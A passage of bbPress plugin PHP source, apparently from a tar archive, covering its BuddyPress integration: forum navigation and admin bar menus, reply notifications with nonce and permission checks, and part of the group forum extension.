			esc_html__( 'Forums', 'bbpress' ),
			bbpress()->includes_dir . 'extend/buddypress/'
		);
		$this->includes();
		$this->setup_globals();
		$this->setup_actions();
		$this->fully_loaded();
	}

	/**
	 * Include BuddyPress classes and functions
	 */
	public function includes( $includes = array() ) {

		// Helper BuddyPress functions
		$includes[] = 'functions.php';

		// Members modifications
		$includes[] = 'members.php';

		// BuddyPress Notfications Extension functions
		if ( bp_is_active( 'notifications' ) ) {
			$includes[] = 'notifications.php';
		}

		// BuddyPress Activity Extension class
		if ( bp_is_active( 'activity' ) ) {
			$includes[] = 'activity.php';
		}

		// BuddyPress Group Extension class
		if ( bbp_is_group_forums_active() && bp_is_active( 'groups' ) ) {
			$includes[] = 'groups.php';
		}

		// Require files if they exist
		foreach ( $includes as $file ) {
			if ( @is_file( $this->path . $file ) ) {
				require $this->path . $file;
			}
		}

		/**
		 * Hook for plugins to include files, if necessary.
		 *
		 * @since 2.6.0 bbPress (r3552)
		 */
		do_action( "bp_{$this->id}_includes" );
	}

	/**
	 * Setup globals
	 *
	 * The BP_FORUMS_SLUG constant is deprecated, and only used here for
	 * backwards compatibility.
	 *
	 * @since 2.1.0 bbPress (r3552)
	 */
	public function setup_globals( $args = array() ) {
		$bp = buddypress();

		// Define the parent forum ID
		if ( ! defined( 'BP_FORUMS_PARENT_FORUM_ID' ) ) {
			define( 'BP_FORUMS_PARENT_FORUM_ID', 1 );
		}

		// Define a slug, if necessary
		if ( ! defined( 'BP_FORUMS_SLUG' ) ) {
			define( 'BP_FORUMS_SLUG', $this->id );
		}

		// All arguments for forums component
		$args = array(
			'path'          => BP_PLUGIN_DIR,
			'slug'          => BP_FORUMS_SLUG,
			'root_slug'     => isset( $bp->pages->forums->slug ) ? $bp->pages->forums->slug : BP_FORUMS_SLUG,
			'has_directory' => false,
			'search_string' => esc_html__( 'Search Forums...', 'bbpress' ),
		);

		parent::setup_globals( $args );
	}

	/**
	 * Setup the actions
	 *
	 * @since 2.0.0 bbPress (r3395)
	 *
	 * @access private
	 * @link https://bbpress.trac.wordpress.org/ticket/2176
	 */
	public function setup_actions() {

		// Setup the components
		add_action( 'bp_init', array( $this, 'setup_components' ), 7 );

		parent::setup_actions();
	}

	/**
	 * Instantiate classes for BuddyPress integration
	 *
	 * @since 2.0.0 bbPress (r3395)
	 */
	public function setup_components() {

		// Always load the members component
		bbpress()->extend->buddypress->members = new BBP_BuddyPress_Members();

		// Create new activity class
		if ( bp_is_active( 'activity' ) ) {
			bbpress()->extend->buddypress->activity = new BBP_BuddyPress_Activity();
		}

		// Register the group extension only if groups are active
		if ( bbp_is_group_forums_active() && bp_is_active( 'groups' ) ) {
			bp_register_group_extension( 'BBP_Forums_Group_Extension' );
		}
	}

	/**
	 * Allow the variables, actions, and filters to be modified by third party
	 * plugins and themes.
	 *
	 * @since 2.1.0 bbPress (r3902)
	 */
	private function fully_loaded() {
		do_action_ref_array( 'bbp_buddypress_loaded', array( $this ) );
	}

	/**
	 * Setup BuddyBar navigation
	 *
	 * @since 2.1.0 bbPress (r3552)
	 */
	public function setup_nav( $main_nav = array(), $sub_nav = array() ) {

		// Stop if there is no user displayed or logged in
		if ( ! is_user_logged_in() && !bp_displayed_user_id() ) {
			return;
		}

		// Define local variable(s)
		$user_domain = '';

		// Add 'Forums' to the main navigation
		$main_nav = array(
			'name'                => esc_html__( 'Forums', 'bbpress' ),
			'slug'                => $this->slug,
			'position'            => 80,
			'screen_function'     => 'bbp_member_forums_screen_topics',
			'default_subnav_slug' => bbp_get_topic_archive_slug(),
			'item_css_id'         => $this->id
		);

		// Determine user to use
		if ( bp_displayed_user_id() ) {
			$user_domain = bp_displayed_user_domain();
		} elseif ( bp_loggedin_user_domain() ) {
			$user_domain = bp_loggedin_user_domain();
		} else {
			return;
		}

		// User link
		$forums_link = trailingslashit( $user_domain . $this->slug );

		// Topics started
		$sub_nav[] = array(
			'name'            => esc_html__( 'Topics Started', 'bbpress' ),
			'slug'            => bbp_get_topic_archive_slug(),
			'parent_url'      => $forums_link,
			'parent_slug'     => $this->slug,
			'screen_function' => 'bbp_member_forums_screen_topics',
			'position'        => 20,
			'item_css_id'     => 'topics'
		);

		// Replies to topics
		$sub_nav[] = array(
			'name'            => esc_html__( 'Replies Created', 'bbpress' ),
			'slug'            => bbp_get_reply_archive_slug(),
			'parent_url'      => $forums_link,
			'parent_slug'     => $this->slug,
			'screen_function' => 'bbp_member_forums_screen_replies',
			'position'        => 40,
			'item_css_id'     => 'replies'
		);

		// Engagements
		if ( bbp_is_engagements_active() ) {
			$sub_nav[] = array(
				'name'            => esc_html__( 'Engagements', 'bbpress' ),
				'slug'            => bbp_get_user_engagements_slug(),
				'parent_url'      => $forums_link,
				'parent_slug'     => $this->slug,
				'screen_function' => 'bbp_member_forums_screen_engagements',
				'position'        => 60,
				'item_css_id'     => 'engagements'
			);
		}

		// Favorite topics
		if ( bbp_is_favorites_active() ){
			$sub_nav[] = array(
				'name'            => esc_html__( 'Favorites', 'bbpress' ),
				'slug'            => bbp_get_user_favorites_slug(),
				'parent_url'      => $forums_link,
				'parent_slug'     => $this->slug,
				'screen_function' => 'bbp_member_forums_screen_favorites',
				'position'        => 80,
				'item_css_id'     => 'favorites'
			);
		}

		// Subscribed topics (my profile only)
		if ( bp_is_my_profile() && bbp_is_subscriptions_active() ) {
			$sub_nav[] = array(
				'name'            => esc_html__( 'Subscriptions', 'bbpress' ),
				'slug'            => bbp_get_user_subscriptions_slug(),
				'parent_url'      => $forums_link,
				'parent_slug'     => $this->slug,
				'screen_function' => 'bbp_member_forums_screen_subscriptions',
				'position'        => 100,
				'item_css_id'     => 'subscriptions'
			);
		}

		parent::setup_nav( $main_nav, $sub_nav );
	}

	/**
	 * Set up the admin bar
	 *
	 * @since 2.1.0 bbPress (r3552)
	 */
	public function setup_admin_bar( $wp_admin_nav = array() ) {

		// Menus for logged in user
		if ( is_user_logged_in() ) {

			// If BuddyPress is network activated and bbPress is
			// not activated on a the root blog but on any child one
			if ( ! bp_is_root_blog() ) {
				$user_id               = bbp_get_current_user_id();
				$my_account_link       = bbp_get_user_profile_url( $user_id );
				$my_topics_link        = bbp_get_user_topics_created_url( $user_id );
				$my_replies_link       = bbp_get_user_replies_created_url( $user_id );
				$my_engagements_link   = bbp_get_user_engagements_url( $user_id );
				$my_favorites_link     = bbp_get_favorites_permalink( $user_id );
				$my_subscriptions_link = bbp_get_subscriptions_permalink( $user_id );
			} else {

				// Setup the logged in user variables
				$user_domain = bp_loggedin_user_domain();
				$forums_link = trailingslashit( $user_domain . $this->slug );

				$my_account_link       = trailingslashit( $forums_link );
				$my_topics_link        = trailingslashit( $forums_link . bbp_get_topic_archive_slug() );
				$my_replies_link       = trailingslashit( $forums_link . bbp_get_reply_archive_slug() );
				$my_engagements_link   = trailingslashit( $forums_link . bbp_get_user_engagements_slug() );
				$my_favorites_link     = trailingslashit( $forums_link . bbp_get_user_favorites_slug() );
				$my_subscriptions_link = trailingslashit( $forums_link . bbp_get_user_subscriptions_slug() );
			}

			// Add the "My Account" sub menus
			$wp_admin_nav[] = array(
				'parent' => buddypress()->my_account_menu_id,
				'id'     => 'my-account-' . $this->id,
				'title'  => esc_html__( 'Forums', 'bbpress' ),
				'href'   => $my_account_link
			);

			// Topics
			$wp_admin_nav[] = array(
				'parent' => 'my-account-' . $this->id,
				'id'     => 'my-account-' . $this->id . '-topics',
				'title'  => esc_html__( 'Topics Started', 'bbpress' ),
				'href'   => $my_topics_link
			);

			// Replies
			$wp_admin_nav[] = array(
				'parent' => 'my-account-' . $this->id,
				'id'     => 'my-account-' . $this->id . '-replies',
				'title'  => esc_html__( 'Replies Created', 'bbpress' ),
				'href'   => $my_replies_link
			);

			// Engagements
			if ( bbp_is_engagements_active() ) {
				$wp_admin_nav[] = array(
					'parent' => 'my-account-' . $this->id,
					'id'     => 'my-account-' . $this->id . '-engagements',
					'title'  => esc_html__( 'Engagements', 'bbpress' ),
					'href'   => $my_engagements_link
				);
			}

			// Favorites
			if ( bbp_is_favorites_active() ) {
				$wp_admin_nav[] = array(
					'parent' => 'my-account-' . $this->id,
					'id'     => 'my-account-' . $this->id . '-favorites',
					'title'  => esc_html__( 'Favorite Topics', 'bbpress' ),
					'href'   => $my_favorites_link
				);
			}

			// Subscriptions
			if ( bbp_is_subscriptions_active() ) {
				$wp_admin_nav[] = array(
					'parent' => 'my-account-' . $this->id,
					'id'     => 'my-account-' . $this->id . '-subscriptions',
					'title'  => esc_html__( 'Subscribed Topics', 'bbpress' ),
					'href'   => $my_subscriptions_link
				);
			}
		}

		parent::setup_admin_bar( $wp_admin_nav );
	}

	/**
	 * Sets up the title for pages and <title>
	 *
	 * @since 2.1.0 bbPress (r3552)
	 */
	public function setup_title() {
		$bp = buddypress();

		// Adjust title based on view
		if ( bp_is_forums_component() ) {
			if ( bp_is_my_profile() ) {
				$bp->bp_options_title = esc_html__( 'Forums', 'bbpress' );
			} elseif ( bp_is_user() ) {
				$bp->bp_options_avatar = bp_core_fetch_avatar( array(
					'item_id' => bp_displayed_user_id(),
					'type'    => 'thumb'
				) );
				$bp->bp_options_title = bp_get_displayed_user_fullname();
			}
		}

		parent::setup_title();
	}
}
endif;
includes/extend/buddypress/notifications.php000066600000017416151771460310015431 0ustar00<?php

/**
 * bbPress BuddyPress Notifications
 *
 * @package bbPress
 * @subpackage BuddyPress
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

// Hooks
add_filter( 'bp_notifications_get_registered_components', 'bbp_filter_notifications_get_registered_components', 10 );
add_filter( 'bp_notifications_get_notifications_for_user', 'bbp_format_buddypress_notifications', 10, 8 );
add_action( 'bbp_new_reply', 'bbp_buddypress_add_notification', 10, 7 );
add_action( 'bbp_get_request', 'bbp_buddypress_mark_notifications', 1 );

/** BuddyPress Helpers ********************************************************/

/**
 * Filter registered notifications components, and add 'forums' to the queried
 * 'component_name' array.
 *
 * @since 2.6.0 bbPress (r5232)
 *
 * @see BP_Notifications_Notification::get()
 * @param array $component_names
 * @return array
 */
function bbp_filter_notifications_get_registered_components( $component_names = array() ) {

	// Force $component_names to be an array
	if ( ! is_array( $component_names ) ) {
		$component_names = array();
	}

	// Add 'forums' component to registered components array
	array_push( $component_names, bbp_get_component_name() );

	// Return component's with 'forums' appended
	return $component_names;
}

/**
 * Format the BuddyBar/Toolbar notifications
 *
 * @since 2.5.0 bbPress (r5155)
 *
 * @package bbPress
 *
 * @param string $content               Component action. Deprecated. Do not do checks against this! Use
 *                                      the 6th parameter instead - $component_action_name.
 * @param int    $item_id               Notification item ID.
 * @param int    $secondary_item_id     Notification secondary item ID.
 * @param int    $action_item_count     Number of notifications with the same action.
 * @param string $format                Format of return. Either 'string' or 'object'.
 * @param string $component_action_name Canonical notification action.
 * @param string $component_name        Notification component ID.
 * @param int    $id                    Notification ID.
 */
function bbp_format_buddypress_notifications( $content, $item_id, $secondary_item_id, $action_item_count, $format, $component_action_name, $component_name, $id ) {

	// Bail if not the notification action we are looking for
	if ( 'bbp_new_reply' !== $component_action_name ) {
		return $content;
	}

	// New reply notifications
	$topic_id    = bbp_get_reply_topic_id( $item_id );
	$topic_title = bbp_get_topic_title( $topic_id );
	$topic_link  = wp_nonce_url(
		add_query_arg(
			array(
				'action'   => 'bbp_mark_read',
				'topic_id' => $topic_id
			),
			bbp_get_reply_url( $item_id )
		),
		'bbp_mark_topic_' . $topic_id
	);

	// Cast to int
	$action_item_count = (int) $action_item_count;

	// Multiple
	if ( $action_item_count > 1 ) {
		$filter = 'bbp_multiple_new_subscription_notification';
		$text   = sprintf( esc_html__( 'You have %d new replies', 'bbpress' ), $action_item_count );

	// Single
	} else {
		$filter = 'bbp_single_new_subscription_notification';
		$text   = ! empty( $secondary_item_id )
			? sprintf( esc_html__( 'You have %1$d new reply to %2$s from %3$s', 'bbpress' ), $action_item_count, $topic_title, bp_core_get_user_displayname( $secondary_item_id ) )
			: sprintf( esc_html__( 'You have %1$d new reply to %2$s',           'bbpress' ), $action_item_count, $topic_title );
	}

	// WordPress Toolbar
	if ( 'string' === $format ) {
		$return = apply_filters( $filter, '<a href="' . esc_url( $topic_link ) . '" title="' . esc_attr__( 'Topic Replies', 'bbpress' ) . '">' . esc_html( $text ) . '</a>', $action_item_count, $text, $topic_link );

	// Deprecated BuddyBar
	} else {
		$return = apply_filters( $filter, array(
			'text' => $text,
			'link' => $topic_link
		), $topic_link, $action_item_count, $text, $topic_title );
	}

	do_action( 'bbp_format_buddypress_notifications', $component_action_name, $item_id, $secondary_item_id, $action_item_count, $format, $component_action_name, $component_name, $id );

	return $return;
}

/**
 * Hooked into the new reply function, this notification action is responsible
 * for notifying topic and hierarchical reply authors of topic replies.
 *
 * @since 2.5.0 bbPress (r5156)
 *
 * @param int $reply_id
 * @param int $topic_id
 * @param int $forum_id (not used)
 * @param array $anonymous_data (not used)
 * @param int $author_id
 * @param bool $is_edit Used to bail if this gets hooked to an edit action
 * @param int $reply_to
 */
function bbp_buddypress_add_notification( $reply_id = 0, $topic_id = 0, $forum_id = 0, $anonymous_data = array(), $author_id = 0, $is_edit = false, $reply_to = 0 ) {

	// Bail if somehow this is hooked to an edit action
	if ( ! empty( $is_edit ) ) {
		return;
	}

	// Get author information
	$topic_author_id   = bbp_get_topic_author_id( $topic_id );
	$secondary_item_id = $author_id;

	// Hierarchical replies
	if ( ! empty( $reply_to ) ) {
		$reply_to_item_id = bbp_get_topic_author_id( $reply_to );
	}

	// Get some reply information
	$args = array(
		'user_id'          => $topic_author_id,
		'item_id'          => $reply_id,
		'component_name'   => bbp_get_component_name(),
		'component_action' => 'bbp_new_reply',
		'date_notified'    => get_post( $reply_id )->post_date,
	);

	// Notify the topic author if not the current reply author
	if ( $author_id !== $topic_author_id ) {
		$args['secondary_item_id'] = $secondary_item_id;

		bp_notifications_add_notification( $args );
	}

	// Notify the immediate reply author if not the current reply author
	if ( ! empty( $reply_to ) && ( $author_id !== $reply_to_item_id ) ) {
		$args['user_id']           = $reply_to_item_id;
		$args['secondary_item_id'] = $topic_author_id;

		bp_notifications_add_notification( $args );
	}
}

/**
 * Mark notifications as read when reading a topic
 *
 * @since 2.5.0 bbPress (r5155)
 *
 * @return If not trying to mark a notification as read
 */
function bbp_buddypress_mark_notifications( $action = '' ) {

	// Bail if no topic ID is passed
	if ( empty( $_GET['topic_id'] ) ) {
		return;
	}

	// Bail if action is not for this function
	if ( 'bbp_mark_read' !== $action ) {
		return;
	}

	// Get required data
	$user_id  = bp_loggedin_user_id();
	$topic_id = absint( $_GET['topic_id'] );

	// By default, Redirect to this topic ID
	$redirect_id = $topic_id;

	// Check nonce
	if ( ! bbp_verify_nonce_request( 'bbp_mark_topic_' . $topic_id ) ) {
		bbp_add_error( 'bbp_notification_topic_id', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );

	// Check current user's ability to edit the user
	} elseif ( ! current_user_can( 'edit_user', $user_id ) ) {
		bbp_add_error( 'bbp_notification_permission', __( '<strong>Error</strong>: You do not have permission to mark notifications for that user.', 'bbpress' ) );
	}

	// Bail if we have errors
	if ( ! bbp_has_errors() ) {

		// Get these once
		$post_type = bbp_get_reply_post_type();
		$component = bbp_get_component_name();

		// Attempt to clear notifications for this topic
		$marked    = bp_notifications_mark_notifications_by_item_id( $user_id, $topic_id, $component, 'bbp_new_reply' );

		// Get all reply IDs for the topic
		$replies   = bbp_get_all_child_ids( $topic_id, $post_type );

		// If topic has replies
		if ( ! empty( $replies ) ) {

			// Loop through each reply and attempt to mark it
			foreach ( $replies as $reply_id ) {

				// Attempt to mark notification for this reply ID
				$marked = bp_notifications_mark_notifications_by_item_id( $user_id, $reply_id, $component, 'bbp_new_reply' );

				// If marked, redirect to this reply ID
				if ( ! empty( $marked ) ) {
					$redirect_id = $reply_id;
				}
			}
		}

		// Do additional subscriptions actions
		do_action( 'bbp_notifications_handler', $marked, $user_id, $topic_id, $action );
	}

	// Redirect to the topic
	$redirect = bbp_get_reply_url( $redirect_id );

	// Redirect
	bbp_redirect( $redirect );
}
includes/extend/buddypress/groups.php000066600000134002151771460310014066 0ustar00<?php

/**
 * bbPress BuddyPress Group Extension Class
 *
 * This file is responsible for connecting bbPress to the BuddyPress Groups
 * Component. It's a great example of how to perform both simple and advanced
 * techniques to manipulate the default output provided by both.
 *
 * @package bbPress
 * @subpackage BuddyPress
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Forums_Group_Extension' ) && class_exists( 'BP_Group_Extension' ) ) :
/**
 * Loads Group Extension for Forums Component
 *
 * @since 2.1.0 bbPress (r3552)
 *
 * @package bbPress
 * @subpackage BuddyPress
 */
class BBP_Forums_Group_Extension extends BP_Group_Extension {

	/** Methods ***************************************************************/

	/**
	 * Setup bbPress group extension variables
	 *
	 * @since 2.1.0 bbPress (r3552)
	 */
	public function __construct() {
		$this->setup_variables();
		$this->setup_actions();
		$this->setup_filters();
		$this->maybe_unset_forum_menu();
		$this->fully_loaded();
	}

	/**
	 * Setup the group forums class variables
	 *
	 * @since 2.1.0 bbPress (r3552)
	 */
	private function setup_variables() {

		// Component Name
		$this->name          = esc_html__( 'Forum', 'bbpress' );
		$this->nav_item_name = esc_html__( 'Forum', 'bbpress' );

		// Component slugs (hardcoded to match bbPress 1.x functionality)
		$this->slug          = 'forum';
		$this->topic_slug    = 'topic';
		$this->reply_slug    = 'reply';

		// Forum component is visible
		$this->visibility = 'public';

		// Set positions towards end
		$this->create_step_position = 15;
		$this->nav_item_position    = 10;

		// Allow create step and show in nav
		$this->enable_create_step   = true;
		$this->enable_nav_item      = true;
		$this->enable_edit_item     = true;

		// Template file to load, and action to hook display on to
		$this->template_file        = 'groups/single/plugins';
		$this->display_hook         = 'bp_template_content';
	}

	/**
	 * Setup the group forums class actions
	 *
	 * @since 2.3.0 bbPress (r4552)
	 */
	private function setup_actions() {

		// Possibly redirect
		add_action( 'bbp_template_redirect',          array( $this, 'redirect_canonical'              ) );

		// Remove group forum cap map when view is done
		add_action( 'bbp_after_group_forum_display',  array( $this, 'remove_group_forum_meta_cap_map' ) );

		// Validate group IDs when editing topics & replies
		add_action( 'bbp_edit_topic_pre_extras',      array( $this, 'validate_topic_forum_id' ) );
		add_action( 'bbp_edit_reply_pre_extras',      array( $this, 'validate_reply_to_id'    ) );

		// Check if group-forum status should be changed
		add_action( 'groups_group_after_save',        array( $this, 'update_group_forum_visibility'   ) );

		// bbPress needs to listen to BuddyPress group deletion
		add_action( 'groups_before_delete_group',     array( $this, 'disconnect_forum_from_group'     ) );

		// Adds a bbPress meta-box to the new BuddyPress Group Admin UI
		add_action( 'bp_groups_admin_meta_boxes',     array( $this, 'group_admin_ui_edit_screen'      ) );

		// Saves the bbPress options if they come from the BuddyPress Group Admin UI
		add_action( 'bp_group_admin_edit_after',      array( $this, 'edit_screen_save'                ) );

		// Adds a hidden input value to the "Group Settings" page
		add_action( 'bp_before_group_settings_admin', array( $this, 'group_settings_hidden_field'     ) );
	}

	/**
	 * Setup the group forums class filters
	 *
	 * @since 2.3.0 bbPress (r4552)
	 */
	private function setup_filters() {

		// Group forum pagination
		add_filter( 'bbp_topic_pagination',      array( $this, 'topic_pagination'   ) );
		add_filter( 'bbp_replies_pagination',    array( $this, 'replies_pagination' ) );

		// Tweak the redirect field
		add_filter( 'bbp_new_topic_redirect_to', array( $this, 'new_topic_redirect_to'        ), 10, 3 );
		add_filter( 'bbp_new_reply_redirect_to', array( $this, 'new_reply_redirect_to'        ), 10, 3 );

		// Map forum/topic/reply permalinks to their groups
		add_filter( 'bbp_get_forum_permalink',   array( $this, 'map_forum_permalink_to_group' ), 10, 2 );
		add_filter( 'bbp_get_topic_permalink',   array( $this, 'map_topic_permalink_to_group' ), 10, 2 );
		add_filter( 'bbp_get_reply_permalink',   array( $this, 'map_reply_permalink_to_group' ), 10, 2 );

		// Map reply edit links to their groups
		add_filter( 'bbp_get_reply_edit_url',    array( $this, 'map_reply_edit_url_to_group'  ), 10, 2 );

		// Map assorted template function permalinks
		add_filter( 'post_link',                 array( $this, 'post_link'                    ), 10, 2 );
		add_filter( 'page_link',                 array( $this, 'page_link'                    ), 10, 2 );
		add_filter( 'post_type_link',            array( $this, 'post_type_link'               ), 10, 2 );

		// Map group forum activity items to groups
		add_filter( 'bbp_before_record_activity_parse_args', array( $this, 'map_activity_to_group' ) );

		/** Caps **************************************************************/

		// Only add these filters if inside a group forum
		if ( bp_is_single_item() && bp_is_group() && bp_is_current_action( $this->slug ) ) {

			// Ensure bbp_is_single_forum() returns true on group forums.
			add_filter( 'bbp_is_single_forum', array( $this, 'is_single_forum' ) );

			// Ensure bbp_is_single_topic() returns true on group forum topics.
			add_filter( 'bbp_is_single_topic', array( $this, 'is_single_topic' ) );

			// Allow group member to view private/hidden forums
			add_filter( 'bbp_map_meta_caps', array( $this, 'map_group_forum_meta_caps' ), 10, 4 );

			// Group member permissions to view the topic and reply forms
			add_filter( 'bbp_current_user_can_access_create_topic_form', array( $this, 'form_permissions' ) );
			add_filter( 'bbp_current_user_can_access_create_reply_form', array( $this, 'form_permissions' ) );
		}
	}

	/**
	 * Allow the variables, actions, and filters to be modified by third party
	 * plugins and themes.
	 *
	 * @since 2.6.0 bbPress (r6808)
	 */
	private function fully_loaded() {
		do_action_ref_array( 'bbp_buddypress_groups_loaded', array( $this ) );
	}

	/**
	 * Ensure that bbp_is_single_forum() returns true on group forum pages.
	 *
	 * @see https://bbpress.trac.wordpress.org/ticket/2974
	 *
	 * @since 2.6.0 bbPress (r6366)
	 *
	 * @param  bool $retval Current boolean.
	 * @return bool
	 */
	public function is_single_forum( $retval = false ) {

		// Additional BuddyPress specific single-forum conditionals
		if ( ( false === $retval ) && ! bp_is_action_variable( $this->topic_slug, 0 ) ) {
			$retval = true;
		}

		return $retval;
	}

	/**
	 * Ensure that bbp_is_single_topic() returns true on group forum topic pages.
	 *
	 * @see https://bbpress.trac.wordpress.org/ticket/2974
	 *
	 * @since 2.6.0 bbPress (r6220)
	 *
	 * @param  bool $retval Current boolean.
	 * @return bool
	 */
	public function is_single_topic( $retval = false ) {

		// Additional BuddyPress specific single-topic conditionals
		if ( ( false === $retval ) && bp_is_action_variable( $this->topic_slug, 0 ) && bp_action_variable( 1 ) ) {
			$retval = true;
		}

		return $retval;
	}

	/**
	 * The primary display function for group forums
	 *
	 * @since 2.1.0 bbPress (r3746)
	 *
	 * @param int $group_id ID of the current group. Available only on BP 2.2+.
	 */
	public function display( $group_id = null ) {

		// Prevent Topic Parent from appearing
		add_action( 'bbp_theme_before_topic_form_forum', array( $this, 'ob_start'     ) );
		add_action( 'bbp_theme_after_topic_form_forum',  array( $this, 'ob_end_clean' ) );
		add_action( 'bbp_theme_after_topic_form_forum',  array( $this, 'topic_parent' ) );

		// Prevent Forum Parent from appearing
		add_action( 'bbp_theme_before_forum_form_parent', array( $this, 'ob_start'     ) );
		add_action( 'bbp_theme_after_forum_form_parent',  array( $this, 'ob_end_clean' ) );
		add_action( 'bbp_theme_after_forum_form_parent',  array( $this, 'forum_parent' ) );

		// Hide breadcrumb
		add_filter( 'bbp_no_breadcrumb', '__return_true' );

		$this->display_forums( 0 );
	}

	/**
	 * Maybe unset the group forum nav item if group does not have a forum
	 *
	 * @since 2.3.0 bbPress (r4552)
	 *
	 * @return If not viewing a single group
	 */
	public function maybe_unset_forum_menu() {

		// Bail if not viewing a single group
		if ( ! bp_is_group() ) {
			return;
		}

		// Are forums enabled for this group?
		$checked = bp_get_new_group_enable_forum() || groups_get_groupmeta( bp_get_new_group_id(), 'forum_id' );

		// Tweak the nav item variable based on if group has forum or not
		$this->enable_nav_item = (bool) $checked;
	}

	/**
	 * Allow group members to have advanced privileges in group forum topics.
	 *
	 * @since 2.2.0 bbPress (r4434)
	 *
	 * @param array $caps
	 * @param string $cap
	 * @param int $user_id
	 * @param array $args
	 * @return array
	 */
	public function map_group_forum_meta_caps( $caps = array(), $cap = '', $user_id = 0, $args = array() ) {

		switch ( $cap ) {

			// If user is a group mmember, allow them to create content.
			case 'read_forum'          :
			case 'publish_replies'     :
			case 'publish_topics'      :
			case 'read_hidden_forums'  :
			case 'read_private_forums' :
				if ( bbp_group_is_banned() ) {
					$caps = array( 'do_not_allow' );
				} elseif ( bbp_group_is_member() || bbp_group_is_mod() || bbp_group_is_admin() ) {
					$caps = array( 'participate' );
				}
				break;

			// If user is a group mod ar admin, map to participate cap.
			case 'moderate'            :
			case 'edit_topic'          :
			case 'edit_reply'          :
			case 'view_trash'          :
			case 'edit_others_replies' :
			case 'edit_others_topics'  :
				if ( bbp_group_is_mod() || bbp_group_is_admin() ) {
					$caps = array( 'participate' );
				}
				break;

			// If user is a group admin, allow them to delete topics and replies.
			case 'delete_topic' :
			case 'delete_reply' :
				if ( bbp_group_is_admin() ) {
					$caps = array( 'participate' );
				}
				break;
		}

		// Filter & return
		return (array) apply_filters( 'bbp_map_group_forum_topic_meta_caps', $caps, $cap, $user_id, $args );
	}

	/**
	 * Remove the topic meta cap map, so it doesn't interfere with sidebars.
	 *
	 * @since 2.2.0 bbPress (r4434)
	 */
	public function remove_group_forum_meta_cap_map() {
		remove_filter( 'bbp_map_meta_caps', array( $this, 'map_group_forum_meta_caps' ), 99, 4 );
	}

	/**
	 * Validate the forum ID for a topic in a group forum.
	 *
	 * This method ensures that when a topic is saved, it is only allowed to be
	 * saved to a forum that is either:
	 *
	 * - A forum in the current group
	 * - A forum the current user can moderate outside of this group
	 *
	 * If all checks fail, an error gets added to prevent the topic from saving.
	 *
	 * @since 2.6.14
	 *
	 * @param int $topic_id
	 */
	public function validate_topic_forum_id( $topic_id = 0 ) {

		// Bail if no topic
		if ( empty( $topic_id ) ) {
			return;
		}

		// Get current forum ID
		$forum_id = bbp_get_topic_forum_id( $topic_id );

		// Bail if not a group forum
		if ( ! bbp_is_forum_group_forum( $forum_id ) ) {
			return;
		}

		// Get current group ID
		$group_id = bp_get_current_group_id();

		// Bail if unknown group ID
		if ( empty( $group_id ) ) {
			return;
		}

		// Get group forum IDs
		$forum_ids = bbp_get_group_forum_ids( $group_id );

		// Get posted forum ID
		$new_forum_id = ! empty( $_POST['bbp_forum_id'] )
			? absint( $_POST['bbp_forum_id'] )
			: 0;

		// Bail if new forum ID is a forum in this group
		if ( in_array( $new_forum_id, $forum_ids, true ) ) {
			return;
		}

		// Get the current user ID
		$user_id = bbp_get_current_user_id();

		// Bail if current user can moderate the new forum ID
		if ( bbp_is_user_forum_moderator( $user_id, $new_forum_id ) ) {
			return;
		}

		// If everything else has failed, then something is wrong and we need
		// to add an error to prevent this topic from saving.
		bbp_add_error( 'bbp_topic_forum_id', __( '<strong>Error</strong>: Forum ID is invalid.', 'bbpress' ) );
	}

	/**
	 * Validate the reply to for a reply in a group forum.
	 *
	 * This method ensures that when a reply to is saved, it is only allowed to
	 * be saved to the current topic.
	 *
	 * If all checks fail, an error gets added to prevent the reply from saving.
	 *
	 * @since 2.6.14
	 *
	 * @param int $reply_id
	 */
	public function validate_reply_to_id( $reply_id = 0 ) {

		// Bail if no reply
		if ( empty( $reply_id ) ) {
			return;
		}

		// Get posted reply to
		$new_reply_to = ! empty( $_POST['bbp_reply_to'] )
			? absint( $_POST['bbp_reply_to'] )
			: 0;

		// Bail if no reply to (assumes topic ID)
		if ( empty( $new_reply_to ) ) {
			return;
		}

		// Get current forum ID
		$forum_id = bbp_get_reply_forum_id( $reply_id );

		// Bail if not a group forum
		if ( ! bbp_is_forum_group_forum( $forum_id ) ) {
			return;
		}

		// Get current group ID
		$group_id = bp_get_current_group_id();

		// Bail if unknown group ID
		if ( empty( $group_id ) ) {
			return;
		}

		// Get current topic ID
		$topic_id = bbp_get_reply_topic_id( $reply_id );

		// Get topic reply IDs
		$reply_ids = bbp_get_public_child_ids( $topic_id, bbp_get_reply_post_type() );

		// Avoid recursion
		unset( $reply_ids[ $reply_id ] );

		// Bail if new reply parent ID is in this topic
		if ( in_array( $new_reply_to, $reply_ids, true ) ) {
			return;
		}

		// Add an error to prevent this reply from saving.
		bbp_add_error( 'bbp_reply_to_id', __( '<strong>Error</strong>: Reply To is invalid.', 'bbpress' ) );
	}

	/** Edit ******************************************************************/

	/**
	 * Show forums and new forum form when editing a group
	 *
	 * @since 2.1.0 bbPress (r3563)
	 *
	 * @param object $group (the group to edit if in Group Admin UI)
	 */
	public function edit_screen( $group = false ) {
		$forum_id  = 0;
		$group_id  = empty( $group->id ) ? bp_get_new_group_id() : $group->id;
		$forum_ids = bbp_get_group_forum_ids( $group_id );

		// Get the first forum ID
		if ( ! empty( $forum_ids ) ) {
			$forum_id = (int) is_array( $forum_ids ) ? $forum_ids[0] : $forum_ids;
		}

		// Should box be checked already?
		$checked = is_admin() ? bp_group_is_forum_enabled( $group ) : bp_get_new_group_enable_forum() || bp_group_is_forum_enabled( bp_get_group_id() ); ?>

		<h2><?php esc_html_e( 'Group Forum Settings', 'bbpress' ); ?></h2>

		<fieldset>
			<legend class="screen-reader-text"><?php esc_html_e( 'Group Forum Settings', 'bbpress' ); ?></legend>
			<p><?php esc_html_e( 'Create a discussion forum to allow members of this group to communicate in a structured, bulletin-board style fashion.', 'bbpress' ); ?></p>

			<div class="field-group">
				<div class="checkbox">
					<label for="bbp-edit-group-forum"><input type="checkbox" name="bbp-edit-group-forum" id="bbp-edit-group-forum" value="1"<?php checked( $checked ); ?> /> <?php esc_html_e( 'Yes. I want this group to have a forum.', 'bbpress' ); ?></label>
				</div>

				<p class="description"><?php esc_html_e( 'Saying no will not delete existing forum content.', 'bbpress' ); ?></p>
			</div>

			<?php if ( bbp_is_user_keymaster() ) : ?>
				<div class="field-group">
